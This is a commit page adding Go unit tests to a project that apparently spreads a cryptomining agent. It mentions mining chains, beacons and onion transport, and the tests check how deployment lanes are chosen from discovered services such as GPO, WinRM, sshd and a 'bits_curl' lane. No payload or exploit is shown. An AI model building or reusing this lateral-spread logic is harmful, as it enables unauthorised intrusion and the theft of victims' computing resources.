Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -86,6 +86,33 @@ func TestNormalizeJoinLaneAliases(t *testing.T) {
}
}
func TestPickDeployLaneGPO(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "gpsvc", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "gpsvc" || lane.Lane != "gpo" || lane.Template != "gpo" {
t.Fatalf("matched=%q lane=%+v", matched, lane)
}
}
func TestPickDeployLaneWinRM(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "WinRM", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "WinRM" || lane.Lane != "winrm" || lane.Template != "winrm" {
t.Fatalf("matched=%q lane=%+v", matched, lane)
}
}
func TestPickDeployLaneLinuxLOTL(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "sshd", Status: "active"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "sshd" || lane.Lane != "linux_lotl" || lane.Template != "linux-lotl" {
t.Fatalf("matched=%q lane=%+v", matched, lane)
}
}
func TestVerifyDeployPlanSignature(t *testing.T) {
plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
sig, err := signDeployPlan(plan, "test-secret")